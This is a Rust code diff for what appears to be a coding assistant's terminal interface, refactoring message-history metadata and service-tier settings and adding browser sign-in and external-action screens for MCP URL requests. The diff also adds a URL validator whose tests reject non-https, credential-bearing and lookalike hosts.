response.service_tier,
response.service_tier.clone(),
response.approval_policy,
response.approvals_reviewer.to_core(),
permission_profile,
@@ -1450,7 +1492,7 @@ async fn thread_session_state_from_thread_response(
rollout_path: Option<PathBuf>,
model: String,
model_provider_id: String,
service_tier: Option<codex_protocol::config_types::ServiceTier>,
service_tier: Option<String>,
approval_policy: AskForApproval,
approvals_reviewer: codex_protocol::config_types::ApprovalsReviewer,
permission_profile: PermissionProfile,
@@ -1467,8 +1509,9 @@ async fn thread_session_state_from_thread_response(
.map(ThreadId::from_string)
.transpose()
.map_err(|err| format!("forked_from_id is invalid: {err}"))?;
let (history_log_id, history_entry_count) = message_history_metadata(config).await;
let history_entry_count = u64::try_from(history_entry_count).unwrap_or(u64::MAX);
let history_config =
codex_message_history::HistoryConfig::new(config.codex_home.clone(), &config.history);
let (log_id, entry_count) = codex_message_history::history_metadata(&history_config).await;
Ok(ThreadSessionState {
thread_id,
forked_from_id,
@@ -1484,8 +1527,10 @@ async fn thread_session_state_from_thread_response(
cwd,
instruction_source_paths,
reasoning_effort,
history_log_id,
history_entry_count,
message_history: Some(MessageHistoryMetadata {
log_id,
entry_count,
}),
network_proxy: None,
rollout_path,
})
@@ -1517,6 +1562,12 @@ mod tests {
use codex_app_server_protocol::ThreadStatus;
use codex_app_server_protocol::Turn;
use codex_app_server_protocol::TurnStatus;
use codex_protocol::config_types::Personality;
use codex_protocol::config_types::ReasoningSummary;
use codex_protocol::config_types::ServiceTier;
use codex_protocol::config_types::Verbosity;
use codex_protocol::config_types::WebSearchMode;
use codex_protocol::openai_models::ReasoningEffort;
use codex_utils_absolute_path::test_support::PathBufExt;
use codex_utils_absolute_path::test_support::test_path_buf;
use pretty_assertions::assert_eq;
@@ -1560,6 +1611,7 @@ mod tests {
.map(permissions_selection_from_active_profile)
);
assert_eq!(params.model_provider, Some(config.model_provider_id));
assert_eq!(params.thread_source, Some(ThreadSource::User));
}
#[tokio::test]
@@ -1676,6 +1728,8 @@ mod tests {
assert_eq!(start.permissions, None);
assert_eq!(resume.permissions, None);
assert_eq!(fork.permissions, None);
assert_eq!(start.thread_source, Some(ThreadSource::User));
assert_eq!(fork.thread_source, Some(ThreadSource::User));
}
#[test]
@@ -1781,6 +1835,80 @@ mod tests {
assert_eq!(start.permissions, None);
assert_eq!(resume.permissions, None);
assert_eq!(fork.permissions, None);
assert_eq!(start.thread_source, Some(ThreadSource::User));
assert_eq!(fork.thread_source, Some(ThreadSource::User));
}
#[tokio::test]
async fn thread_lifecycle_params_forward_model_reasoning_and_service_tier() {
let temp_dir = tempfile::tempdir().expect("tempdir");
let mut config = build_config(&temp_dir).await;
config.model_reasoning_effort = Some(ReasoningEffort::High);
config.model_reasoning_summary = Some(ReasoningSummary::Detailed);
config.model_verbosity = Some(Verbosity::Low);
config.personality = Some(Personality::Pragmatic);
config
.web_search_mode
.set(WebSearchMode::Disabled)
.expect("test web search mode should be allowed");
config.service_tier = Some(ServiceTier::Fast.request_value().to_string());
let thread_id = ThreadId::new();
let start = thread_start_params_from_config(
&config,
ThreadParamsMode::Embedded,
/*remote_cwd_override*/ None,
/*session_start_source*/ None,
);
let resume = thread_resume_params_from_config(
config.clone(),
thread_id,
ThreadParamsMode::Embedded,
/*remote_cwd_override*/ None,
);
let fork = thread_fork_params_from_config(
config,
thread_id,
ThreadParamsMode::Embedded,
/*remote_cwd_override*/ None,
);
let expected_service_tier = Some(Some(ServiceTier::Fast.request_value().to_string()));
assert_eq!(start.service_tier, expected_service_tier);
assert_eq!(resume.service_tier, expected_service_tier);
assert_eq!(fork.service_tier, expected_service_tier);
let string = |value: &str| serde_json::Value::String(value.to_string());
let expected_config = HashMap::from([
("model_reasoning_effort".to_string(), string("high")),
("model_reasoning_summary".to_string(), string("detailed")),
("model_verbosity".to_string(), string("low")),
("personality".to_string(), string("pragmatic")),
("web_search".to_string(), string("disabled")),
]);
assert_eq!(start.config, Some(expected_config.clone()));
assert_eq!(resume.config, Some(expected_config.clone()));
assert_eq!(fork.config, Some(expected_config));
}
#[tokio::test]
async fn config_request_overrides_preserve_implicit_personality_default() {
let temp_dir = tempfile::tempdir().expect("tempdir");
let mut config = build_config(&temp_dir).await;
config.personality = None;
let implicit_overrides =
config_request_overrides_from_config(&config).expect("config overrides");
assert!(!implicit_overrides.contains_key("personality"));
config.personality = Some(Personality::None);
let explicit_overrides =
config_request_overrides_from_config(&config).expect("config overrides");
assert_eq!(
explicit_overrides.get("personality"),
Some(&serde_json::Value::String("none".to_string()))
);
}
#[tokio::test]
@@ -1815,6 +1943,7 @@ mod tests {
let response = ThreadResumeResponse {
thread: codex_app_server_protocol::Thread {
id: thread_id.to_string(),
session_id: ThreadId::new().to_string(),
forked_from_id: Some(forked_from_id.to_string()),
preview: "hello".to_string(),
ephemeral: false,
@@ -1826,6 +1955,7 @@ mod tests {
cwd: test_path_buf("/tmp/project").abs(),
cli_version: "0.0.0".to_string(),
source: codex_app_server_protocol::SessionSource::Cli,
thread_source: None,
agent_nickname: None,
agent_role: None,
git_info: None,
@@ -1958,10 +2088,13 @@ mod tests {
let config = build_config(&temp_dir).await;
let thread_id = ThreadId::new();
append_message_history_entry("older", &thread_id, &config)
let history_config =
codex_message_history::HistoryConfig::new(config.codex_home.clone(), &config.history);
codex_message_history::append_entry("older", &thread_id, &history_config)
.await
.expect("history append should succeed");
append_message_history_entry("newer", &thread_id, &config)
codex_message_history::append_entry("newer", &thread_id, &history_config)
.await
.expect("history append should succeed");
@@ -1985,8 +2118,11 @@ mod tests {
.await
.expect("session should map");
assert_ne!(session.history_log_id, 0);
assert_eq!(session.history_entry_count, 2);
let metadata = session
.message_history
.expect("session should include message-history metadata");
assert_ne!(metadata.log_id, 0);
assert_eq!(metadata.entry_count, 2);
}
#[tokio::test]
+2
View File
@@ -88,6 +88,8 @@ mod tests {
id: format!("review-{id}"),
target_item_id: None,
turn_id: "turn-1".to_string(),
started_at_ms: 0,
completed_at_ms: Some(1),
status: GuardianAssessmentStatus::Denied,
risk_level: None,
user_authorization: None,
+583 -34
View File
@@ -17,6 +17,7 @@ use ratatui::widgets::Paragraph;
use ratatui::widgets::Widget;
use ratatui::widgets::Wrap;
use textwrap::wrap;
use url::Url;
use super::CancellationEvent;
use super::bottom_pane_view::BottomPaneView;
@@ -34,6 +35,13 @@ use crate::style::user_message_style;
use crate::wrapping::RtOptions;
use crate::wrapping::adaptive_wrap_lines;
const MCP_CODEX_APPS_SERVER_NAME: &str = "codex_apps";
const MCP_TOOL_CODEX_APPS_META_KEY: &str = "_codex_apps";
const CONNECTOR_AUTH_FAILURE_META_KEY: &str = "connector_auth_failure";
const CONNECTOR_AUTH_FAILURE_IS_AUTH_FAILURE_KEY: &str = "is_auth_failure";
const CONNECTOR_AUTH_FAILURE_CONNECTOR_ID_KEY: &str = "connector_id";
const CONNECTOR_AUTH_FAILURE_CONNECTOR_NAME_KEY: &str = "connector_name";
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
enum AppLinkScreen {
Link,
@@ -44,6 +52,8 @@ enum AppLinkScreen {
pub(crate) enum AppLinkSuggestionType {
Install,
Enable,
Auth,
ExternalAction,
}
#[derive(Clone, Debug, PartialEq, Eq)]
@@ -53,6 +63,7 @@ pub(crate) struct AppLinkElicitationTarget {
pub(crate) request_id: AppServerRequestId,
}
#[derive(Clone, Debug, PartialEq, Eq)]
pub(crate) struct AppLinkViewParams {
pub(crate) app_id: String,
pub(crate) title: String,
@@ -66,6 +77,152 @@ pub(crate) struct AppLinkViewParams {
pub(crate) elicitation_target: Option<AppLinkElicitationTarget>,
}
impl AppLinkViewParams {
pub(crate) fn from_url_app_server_request(
thread_id: ThreadId,
server_name: &str,
request_id: AppServerRequestId,
request: &codex_app_server_protocol::McpServerElicitationRequest,
) -> Option<Self> {
let codex_app_server_protocol::McpServerElicitationRequest::Url {
meta,
message,
url,
elicitation_id,
} = request
else {
return None;
};
if server_name == MCP_CODEX_APPS_SERVER_NAME {
let url = validate_external_url(url, /*require_chatgpt_host*/ true)?;
return Self::from_codex_apps_auth_url_parts(
thread_id,
server_name,
request_id,
meta.as_ref(),
message,
url.as_str(),
elicitation_id,
);
}
let url = validate_external_url(url, /*require_chatgpt_host*/ false)?;
Some(Self::from_generic_url_parts(
thread_id,
server_name,
request_id,
message,
url.as_str(),
elicitation_id,
))
}
fn from_codex_apps_auth_url_parts(
thread_id: ThreadId,
server_name: &str,
request_id: AppServerRequestId,
meta: Option<&serde_json::Value>,
message: &str,
url: &str,
elicitation_id: &str,
) -> Option<Self> {
let auth_failure = meta?
.as_object()?
.get(MCP_TOOL_CODEX_APPS_META_KEY)?
.as_object()?
.get(CONNECTOR_AUTH_FAILURE_META_KEY)?
.as_object()?;
if auth_failure
.get(CONNECTOR_AUTH_FAILURE_IS_AUTH_FAILURE_KEY)
.and_then(serde_json::Value::as_bool)
!= Some(true)
{
return None;
}
let app_id = auth_failure
.get(CONNECTOR_AUTH_FAILURE_CONNECTOR_ID_KEY)
.and_then(serde_json::Value::as_str)
.map(str::trim)
.filter(|value| !value.is_empty())
.unwrap_or(elicitation_id)
.to_string();
let title = auth_failure
.get(CONNECTOR_AUTH_FAILURE_CONNECTOR_NAME_KEY)
.and_then(serde_json::Value::as_str)
.map(str::trim)
.filter(|value| !value.is_empty())
.unwrap_or(app_id.as_str())
.to_string();
Some(Self {
app_id,
title,
description: None,
instructions: "Sign in to this app in your browser, then return here.".to_string(),
url: url.to_string(),
is_installed: true,
is_enabled: true,
suggest_reason: Some(message.to_string()),
suggestion_type: Some(AppLinkSuggestionType::Auth),
elicitation_target: Some(AppLinkElicitationTarget {
thread_id,
server_name: server_name.to_string(),
request_id,
}),
})
}
fn from_generic_url_parts(
thread_id: ThreadId,
server_name: &str,
request_id: AppServerRequestId,
message: &str,
url: &str,
elicitation_id: &str,
) -> Self {
Self {
app_id: elicitation_id.to_string(),
title: "Action required".to_string(),
description: Some(format!("Server: {server_name}")),
instructions: "Complete the requested action in your browser, then return here."
.to_string(),
url: url.to_string(),
is_installed: true,
is_enabled: true,
suggest_reason: Some(message.to_string()),
suggestion_type: Some(AppLinkSuggestionType::ExternalAction),
elicitation_target: Some(AppLinkElicitationTarget {
thread_id,
server_name: server_name.to_string(),
request_id,
}),
}
}
}
fn validate_external_url(url: &str, require_chatgpt_host: bool) -> Option<Url> {
let parsed = Url::parse(url).ok()?;
if parsed.scheme() != "https" || parsed.host_str().is_none() {
return None;
}
if !parsed.username().is_empty() || parsed.password().is_some() {
return None;
}
if require_chatgpt_host && !is_allowed_chatgpt_auth_host(parsed.host_str()?) {
return None;
}
Some(parsed)
}
fn is_allowed_chatgpt_auth_host(host: &str) -> bool {
let host = host.to_ascii_lowercase();
host == "chatgpt.com"
|| host == "chatgpt-staging.com"
|| host.ends_with(".chatgpt.com")
|| host.ends_with(".chatgpt-staging.com")
}
pub(crate) struct AppLinkView {
app_id: String,
title: String,
@@ -116,6 +273,19 @@ impl AppLinkView {
}
fn action_labels(&self) -> Vec<&'static str> {
if self.is_auth_suggestion() {
return match self.screen {
AppLinkScreen::Link => vec!["Open sign-in URL", "Back"],
AppLinkScreen::InstallConfirmation => vec!["I already signed in", "Back"],
};
}
if self.is_external_action_suggestion() {
return match self.screen {
AppLinkScreen::Link => vec!["Open link", "Back"],
AppLinkScreen::InstallConfirmation => vec!["I finished", "Back"],
};
}
match self.screen {
AppLinkScreen::Link => {
if self.is_installed {
@@ -148,6 +318,19 @@ impl AppLinkView {
self.elicitation_target.is_some()
}
fn is_auth_suggestion(&self) -> bool {
self.is_tool_suggestion() && self.suggestion_type == Some(AppLinkSuggestionType::Auth)
}
fn is_external_action_suggestion(&self) -> bool {
self.is_tool_suggestion()
&& self.suggestion_type == Some(AppLinkSuggestionType::ExternalAction)
}
fn is_browser_action_suggestion(&self) -> bool {
self.is_auth_suggestion() || self.is_external_action_suggestion()
}
fn resolve_elicitation(&self, decision: McpServerElicitationAction) {
let Some(target) = self.elicitation_target.as_ref() else {
return;
@@ -167,20 +350,26 @@ impl AppLinkView {
self.complete = true;
}
fn open_chatgpt_link(&mut self) {
fn open_external_url(&mut self) {
self.app_event_tx.send(AppEvent::OpenUrlInBrowser {
url: self.url.clone(),
});
if !self.is_installed {
if !self.is_installed || self.is_browser_action_suggestion() {
self.screen = AppLinkScreen::InstallConfirmation;
self.selected_action = 0;
}
}
fn refresh_connectors_and_close(&mut self) {
self.app_event_tx.send(AppEvent::RefreshConnectors {
force_refetch: true,
});
fn complete_external_flow_and_close(&mut self) {
let should_refresh_connectors = self
.elicitation_target
.as_ref()
.is_none_or(|target| target.server_name == MCP_CODEX_APPS_SERVER_NAME);
if should_refresh_connectors {
self.app_event_tx.send(AppEvent::RefreshConnectors {
force_refetch: true,
});
}
if self.is_tool_suggestion() {
self.resolve_elicitation(McpServerElicitationAction::Accept);
}
@@ -209,22 +398,42 @@ impl AppLinkView {
match self.suggestion_type {
Some(AppLinkSuggestionType::Enable) => match self.screen {
AppLinkScreen::Link => match self.selected_action {
0 => self.open_chatgpt_link(),
0 => self.open_external_url(),
1 if self.is_installed => self.toggle_enabled(),
_ => self.decline_tool_suggestion(),
},
AppLinkScreen::InstallConfirmation => match self.selected_action {
0 => self.refresh_connectors_and_close(),
0 => self.complete_external_flow_and_close(),
_ => self.decline_tool_suggestion(),
},
},
Some(AppLinkSuggestionType::Auth) => match self.screen {
AppLinkScreen::Link => match self.selected_action {
0 => self.open_external_url(),
_ => self.decline_tool_suggestion(),
},
AppLinkScreen::InstallConfirmation => match self.selected_action {
0 => self.complete_external_flow_and_close(),
_ => self.decline_tool_suggestion(),
},
},
Some(AppLinkSuggestionType::ExternalAction) => match self.screen {
AppLinkScreen::Link => match self.selected_action {
0 => self.open_external_url(),
_ => self.decline_tool_suggestion(),
},
AppLinkScreen::InstallConfirmation => match self.selected_action {
0 => self.complete_external_flow_and_close(),
_ => self.decline_tool_suggestion(),
},
},
Some(AppLinkSuggestionType::Install) | None => match self.screen {
AppLinkScreen::Link => match self.selected_action {
0 => self.open_chatgpt_link(),
0 => self.open_external_url(),
_ => self.decline_tool_suggestion(),
},
AppLinkScreen::InstallConfirmation => match self.selected_action {
0 => self.refresh_connectors_and_close(),
0 => self.complete_external_flow_and_close(),
_ => self.decline_tool_suggestion(),
},
},
@@ -234,12 +443,12 @@ impl AppLinkView {
match self.screen {
AppLinkScreen::Link => match self.selected_action {
0 => self.open_chatgpt_link(),
0 => self.open_external_url(),
1 if self.is_installed => self.toggle_enabled(),
_ => self.complete = true,
},
AppLinkScreen::InstallConfirmation => match self.selected_action {
0 => self.refresh_connectors_and_close(),
0 => self.complete_external_flow_and_close(),
_ => self.back_to_link_screen(),
},
}
@@ -280,31 +489,42 @@ impl AppLinkView {
}
lines.push(Line::from(""));
}
if self.is_installed {
let is_browser_action_suggestion = self.is_browser_action_suggestion();
if self.is_installed && !is_browser_action_suggestion {
for line in wrap("Use $ to insert this app into the prompt.", usable_width) {
lines.push(Line::from(line.into_owned()));
}
lines.push(Line::from(""));
}
if is_browser_action_suggestion {
lines.push(Line::from("URL".dim()));
for line in wrap(&self.url, usable_width) {
lines.push(Line::from(line.into_owned()));
}
lines.push(Line::from(""));
}
let instructions = self.instructions.trim();
if !instructions.is_empty() {
for line in wrap(instructions, usable_width) {
lines.push(Line::from(line.into_owned()));
}
for line in wrap(
"Newly installed apps can take a few minutes to appear in /apps.",
usable_width,
) {
lines.push(Line::from(line.into_owned()));
}
if !self.is_installed {
if !is_browser_action_suggestion {
for line in wrap(
"After installed, use $ to insert this app into the prompt.",
"Newly installed apps can take a few minutes to appear in /apps.",
usable_width,
) {
lines.push(Line::from(line.into_owned()));
}
if !self.is_installed {
for line in wrap(
"After installed, use $ to insert this app into the prompt.",
usable_width,
) {
lines.push(Line::from(line.into_owned()));
}
}
}
lines.push(Line::from(""));
}
@@ -316,24 +536,82 @@ impl AppLinkView {
let usable_width = width.max(1) as usize;
let mut lines: Vec<Line<'static>> = Vec::new();
lines.push(Line::from("Finish App Setup".bold()));
let is_auth_suggestion = self.is_auth_suggestion();
let is_external_action_suggestion = self.is_external_action_suggestion();
let is_codex_apps_auth = is_auth_suggestion
&& self
.elicitation_target
.as_ref()
.is_some_and(|target| target.server_name == MCP_CODEX_APPS_SERVER_NAME);
lines.push(Line::from(
if is_auth_suggestion {
if is_codex_apps_auth {
"Finish App Sign In"
} else {
"Finish Authentication"
}
} else if is_external_action_suggestion {
"Finish in Browser"
} else {
"Finish App Setup"
}
.bold(),
));
lines.push(Line::from(""));
for line in wrap(
"Complete app setup on ChatGPT in the browser window that just opened.",
usable_width,
) {
lines.push(Line::from(line.into_owned()));
}
for line in wrap(
"Sign in there if needed, then return here and select \"I already Installed it\".",
usable_width,
) {
lines.push(Line::from(line.into_owned()));
if is_auth_suggestion {
for line in wrap(
if is_codex_apps_auth {
"Sign in to the app on ChatGPT in the browser window that just opened."
} else {
"Complete authentication in the browser window that just opened."
},
usable_width,
) {
lines.push(Line::from(line.into_owned()));
}
for line in wrap(
"Then return here and select \"I already signed in\".",
usable_width,
) {
lines.push(Line::from(line.into_owned()));
}
} else if is_external_action_suggestion {
for line in wrap(
"Complete the requested action in the browser window that just opened.",
usable_width,
) {
lines.push(Line::from(line.into_owned()));
}
for line in wrap("Then return here and select \"I finished\".", usable_width) {
lines.push(Line::from(line.into_owned()));
}
} else {
for line in wrap(
"Complete app setup on ChatGPT in the browser window that just opened.",
usable_width,
) {
lines.push(Line::from(line.into_owned()));
}
for line in wrap(
"Sign in there if needed, then return here and select \"I already Installed it\".",
usable_width,
) {
lines.push(Line::from(line.into_owned()));
}
}
lines.push(Line::from(""));
lines.push(Line::from(vec!["Setup URL:".dim()]));
lines.push(Line::from(vec![
if is_auth_suggestion {
"Sign-in URL:"
} else if is_external_action_suggestion {
"Link:"
} else {
"Setup URL:"
}
.dim(),
]));
let url_line = Line::from(vec![self.url.clone().cyan().underlined()]);
lines.extend(adaptive_wrap_lines(
vec![url_line],
@@ -586,6 +864,135 @@ mod tests {
}
}
fn generic_url_target() -> AppLinkElicitationTarget {
AppLinkElicitationTarget {
thread_id: ThreadId::try_from("00000000-0000-0000-0000-000000000002")
.expect("valid thread id"),
server_name: "payments".to_string(),
request_id: AppServerRequestId::String("request-2".to_string()),
}
}
fn auth_url_request(url: &str) -> codex_app_server_protocol::McpServerElicitationRequest {
codex_app_server_protocol::McpServerElicitationRequest::Url {
meta: Some(serde_json::json!({
"_codex_apps": {
"connector_auth_failure": {
"is_auth_failure": true,
"connector_id": "connector_calendar",
"connector_name": "Google Calendar",
},
},
})),
message: "Reconnect Google Calendar on ChatGPT.".to_string(),
url: url.to_string(),
elicitation_id: "codex_apps_auth_call_123".to_string(),
}
}
#[test]
fn codex_apps_auth_url_elicitation_builds_auth_app_link_params() {
let target = suggestion_target();
let request =
auth_url_request("https://chatgpt.com/apps/google-calendar/connector_calendar");
let params = AppLinkViewParams::from_url_app_server_request(
target.thread_id,
&target.server_name,
target.request_id.clone(),
&request,
)
.expect("expected auth app link params");
assert_eq!(params.app_id, "connector_calendar");
assert_eq!(params.title, "Google Calendar");
assert_eq!(
params.url,
"https://chatgpt.com/apps/google-calendar/connector_calendar"
);
assert_eq!(params.suggestion_type, Some(AppLinkSuggestionType::Auth));
assert_eq!(params.elicitation_target, Some(target));
}
#[test]
fn non_codex_apps_url_elicitation_builds_generic_app_link_params() {
let target = generic_url_target();
let request = codex_app_server_protocol::McpServerElicitationRequest::Url {
meta: None,
message: "Review the payment details to continue.".to_string(),
url: "https://payments.example/checkout/123".to_string(),
elicitation_id: "payment-123".to_string(),
};
let params = AppLinkViewParams::from_url_app_server_request(
target.thread_id,
&target.server_name,
target.request_id.clone(),
&request,
)
.expect("expected generic URL app link params");
assert_eq!(
params,
AppLinkViewParams {
app_id: "payment-123".to_string(),
title: "Action required".to_string(),
description: Some("Server: payments".to_string()),
instructions: "Complete the requested action in your browser, then return here."
.to_string(),
url: "https://payments.example/checkout/123".to_string(),
is_installed: true,
is_enabled: true,
suggest_reason: Some("Review the payment details to continue.".to_string()),
suggestion_type: Some(AppLinkSuggestionType::ExternalAction),
elicitation_target: Some(target),
}
);
}
#[test]
fn codex_apps_auth_url_elicitation_rejects_untrusted_urls() {
let target = suggestion_target();
for url in [
"http://chatgpt.com/apps/google-calendar/connector_calendar",
"https://user:pass@chatgpt.com/apps/google-calendar/connector_calendar",
"https://chatgpt.com.evil.example/apps/google-calendar/connector_calendar",
"https://evilchatgpt.com/apps/google-calendar/connector_calendar",
] {
let request = auth_url_request(url);
let params = AppLinkViewParams::from_url_app_server_request(
target.thread_id,
&target.server_name,
target.request_id.clone(),
&request,
);
assert!(params.is_none(), "expected {url} to be rejected");
}
}
#[test]
fn generic_url_elicitation_rejects_untrusted_urls() {
let target = generic_url_target();
for url in [
"http://payments.example/checkout/123",
"https://user:pass@payments.example/checkout/123",
] {
let request = codex_app_server_protocol::McpServerElicitationRequest::Url {
meta: None,
message: "Review the payment details to continue.".to_string(),
url: url.to_string(),
elicitation_id: "payment-123".to_string(),
};
let params = AppLinkViewParams::from_url_app_server_request(
target.thread_id,
&target.server_name,
target.request_id.clone(),
&request,
);
assert!(params.is_none(), "expected {url} to be rejected");
}
}
fn render_snapshot(view: &AppLinkView, area: Rect) -> String {
let mut buf = Buffer::empty(area);
view.render(area, &mut buf);
@@ -717,6 +1124,58 @@ mod tests {
);
}
#[test]
fn generic_url_elicitation_resolves_without_connector_refresh() {
let (tx_raw, mut rx) = unbounded_channel::<AppEvent>();
let tx = AppEventSender::new(tx_raw);
let target = generic_url_target();
let request = codex_app_server_protocol::McpServerElicitationRequest::Url {
meta: None,
message: "Review the payment details to continue.".to_string(),
url: "https://payments.example/checkout/123".to_string(),
elicitation_id: "payment-123".to_string(),
};
let params = AppLinkViewParams::from_url_app_server_request(
target.thread_id,
&target.server_name,
target.request_id.clone(),
&request,
)
.expect("expected generic URL app link params");
let mut view = AppLinkView::new(params, tx);
view.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
match rx.try_recv() {
Ok(AppEvent::OpenUrlInBrowser { url }) => {
assert_eq!(url, "https://payments.example/checkout/123");
}
Ok(other) => panic!("unexpected app event: {other:?}"),
Err(err) => panic!("missing app event: {err}"),
}
assert_eq!(view.screen, AppLinkScreen::InstallConfirmation);
view.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
match rx.try_recv() {
Ok(AppEvent::SubmitThreadOp { thread_id, op }) => {
assert_eq!(thread_id, target.thread_id);
assert_eq!(
op,
Op::ResolveElicitation {
server_name: "payments".to_string(),
request_id: AppServerRequestId::String("request-2".to_string()),
decision: McpServerElicitationAction::Accept,
content: None,
meta: None,
}
);
}
Ok(other) => panic!("unexpected app event: {other:?}"),
Err(err) => panic!("missing app event: {err}"),
}
assert!(rx.try_recv().is_err());
assert!(view.is_complete());
}
#[test]
fn install_confirmation_does_not_split_long_url_like_token_without_scheme() {
let (tx_raw, _rx) = unbounded_channel::<AppEvent>();
@@ -1076,4 +1535,94 @@ mod tests {
)
);
}
#[test]
fn auth_suggestion_with_reason_snapshot() {
let (tx_raw, _rx) = unbounded_channel::<AppEvent>();
let tx = AppEventSender::new(tx_raw);
let view = AppLinkView::new(
AppLinkViewParams {
app_id: "connector_google_calendar".to_string(),
title: "Google Calendar".to_string(),
description: None,
instructions: "Sign in to this app in your browser, then return here.".to_string(),
url: "https://chatgpt.com/apps/google-calendar/connector_google_calendar"
.to_string(),
is_installed: true,
is_enabled: true,
suggest_reason: Some("Reconnect Google Calendar on ChatGPT.".to_string()),
suggestion_type: Some(AppLinkSuggestionType::Auth),
elicitation_target: Some(suggestion_target()),
},
tx,
);
assert_snapshot!(
"app_link_view_auth_suggestion_with_reason",
render_snapshot(
&view,
Rect::new(0, 0, 72, view.desired_height(/*width*/ 72))
)
);
}
#[test]
fn generic_url_elicitation_snapshot() {
let (tx_raw, _rx) = unbounded_channel::<AppEvent>();
let tx = AppEventSender::new(tx_raw);
let target = generic_url_target();
let request = codex_app_server_protocol::McpServerElicitationRequest::Url {
meta: None,
message: "Review the payment details to continue.".to_string(),
url: "https://payments.example/checkout/123".to_string(),
elicitation_id: "payment-123".to_string(),
};
let params = AppLinkViewParams::from_url_app_server_request(
target.thread_id,
&target.server_name,
target.request_id.clone(),
&request,
)
.expect("expected generic URL app link params");
let view = AppLinkView::new(params, tx);
assert_snapshot!(
"app_link_view_generic_url_elicitation",
render_snapshot(
&view,
Rect::new(0, 0, 72, view.desired_height(/*width*/ 72))
)
);
}
#[test]
fn generic_url_elicitation_confirmation_snapshot() {
let (tx_raw, _rx) = unbounded_channel::<AppEvent>();
let tx = AppEventSender::new(tx_raw);
let target = generic_url_target();
let request = codex_app_server_protocol::McpServerElicitationRequest::Url {
meta: None,
message: "Review the payment details to continue.".to_string(),
url: "https://payments.example/checkout/123".to_string(),
elicitation_id: "payment-123".to_string(),
};
let params = AppLinkViewParams::from_url_app_server_request(
target.thread_id,
&target.server_name,
target.request_id.clone(),
&request,
)
.expect("expected generic URL app link params");
let mut view = AppLinkView::new(params, tx);
view.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
assert_snapshot!(
"app_link_view_generic_url_elicitation_confirmation",
render_snapshot(
&view,
Rect::new(0, 0, 72, view.desired_height(/*width*/ 72))
)
);
}
}
+392 -73
View File
@@ -188,12 +188,17 @@ use super::footer::single_line_footer_layout;
use super::footer::status_line_right_indicator_line;
use super::footer::toggle_shortcut_mode;
use super::footer::uses_passive_footer_status_layout;
use super::mentions_v2::MentionV2Popup;
use super::mentions_v2::MentionV2Selection;
use super::paste_burst::CharDecision;
use super::paste_burst::PasteBurst;
use super::skill_popup::MentionItem;
use super::skill_popup::SkillPopup;
use super::slash_commands;
use super::slash_commands::BuiltinCommandFlags;
use super::slash_commands::ServiceTierCommand;
use super::slash_commands::SlashCommandItem;
use super::slash_commands::find_slash_command;
use super::slash_commands::has_slash_command_prefix;
use crate::bottom_pane::paste_burst::FlushResult;
use crate::bottom_pane::prompt_args::parse_slash_name;
use crate::key_hint::KeyBindingListExt;
@@ -207,6 +212,7 @@ use crate::render::RectExt;
use crate::render::renderable::Renderable;
use crate::slash_command::SlashCommand;
use crate::style::user_message_style;
use codex_protocol::ThreadId;
use codex_protocol::models::local_image_label_text;
use codex_protocol::user_input::ByteRange;
use codex_protocol::user_input::MAX_USER_INPUT_TEXT_CHARS;
@@ -275,6 +281,8 @@ pub enum InputResult {
/// Callers that dispatch this variant are also responsible for resolving any pending local
/// command-history entry that the composer staged before clearing the visible input.
Command(SlashCommand),
/// A bare model service-tier command parsed by the composer.
ServiceTierCommand(ServiceTierCommand),
/// An inline slash command and its trimmed argument text.
///
/// The `TextElement` ranges are rebased into the argument string, while any pending local
@@ -398,7 +406,9 @@ pub(crate) struct ChatComposer {
ide_context_active: bool,
connectors_enabled: bool,
plugins_command_enabled: bool,
fast_command_enabled: bool,
service_tier_commands_enabled: bool,
service_tier_commands: Vec<ServiceTierCommand>,
mentions_v2_enabled: bool,
goal_command_enabled: bool,
personality_command_enabled: bool,
realtime_conversation_enabled: bool,
@@ -459,6 +469,7 @@ enum ActivePopup {
Command(CommandPopup),
File(FileSearchPopup),
Skill(SkillPopup),
MentionV2(MentionV2Popup),
}
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
@@ -488,7 +499,7 @@ impl ChatComposer {
collaboration_modes_enabled: self.collaboration_modes_enabled,
connectors_enabled: self.connectors_enabled,
plugins_command_enabled: self.plugins_command_enabled,
fast_command_enabled: self.fast_command_enabled,
service_tier_commands_enabled: self.service_tier_commands_enabled,
goal_command_enabled: self.goal_command_enabled,
personality_command_enabled: self.personality_command_enabled,
realtime_conversation_enabled: self.realtime_conversation_enabled,
@@ -579,7 +590,9 @@ impl ChatComposer {
ide_context_active: false,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
service_tier_commands_enabled: false,
service_tier_commands: Vec::new(),
mentions_v2_enabled: false,
goal_command_enabled: false,
personality_command_enabled: false,
realtime_conversation_enabled: false,
@@ -654,6 +667,11 @@ impl ChatComposer {
self.plugins_command_enabled = enabled;
}
pub fn set_mentions_v2_enabled(&mut self, enabled: bool) {
self.mentions_v2_enabled = enabled;
self.sync_popups();
}
/// Toggle composer-side image paste handling.
///
/// This only affects whether image-like paste content is converted into attachments; the
@@ -692,8 +710,13 @@ impl ChatComposer {
self.connectors_enabled = enabled;
}
pub fn set_fast_command_enabled(&mut self, enabled: bool) {
self.fast_command_enabled = enabled;
pub fn set_service_tier_commands_enabled(&mut self, enabled: bool) {
self.service_tier_commands_enabled = enabled;
}
pub fn set_service_tier_commands(&mut self, commands: Vec<ServiceTierCommand>) {
self.service_tier_commands = commands;
self.sync_popups();
}
pub fn set_goal_command_enabled(&mut self, enabled: bool) {
@@ -791,6 +814,9 @@ impl ChatComposer {
ActivePopup::Skill(popup) => {
Constraint::Max(popup.calculate_required_height(area.width))
}
ActivePopup::MentionV2(popup) => {
Constraint::Max(popup.calculate_required_height(area.width))
}
ActivePopup::None => Constraint::Max(footer_total_height),
};
let [composer_rect, popup_rect] =
@@ -849,10 +875,15 @@ impl ChatComposer {
&& self.remote_image_urls.is_empty()
}
/// Record the history metadata advertised by `SessionConfiguredEvent` so
/// that the composer can navigate cross-session history.
pub(crate) fn set_history_metadata(&mut self, log_id: u64, entry_count: usize) {
self.history.set_metadata(log_id, entry_count);
/// Record local persistent-history metadata so the composer can navigate
/// cross-session history.
pub(crate) fn set_history_metadata(
&mut self,
thread_id: ThreadId,
log_id: u64,
entry_count: usize,
) {
self.history.set_metadata(thread_id, log_id, entry_count);
}
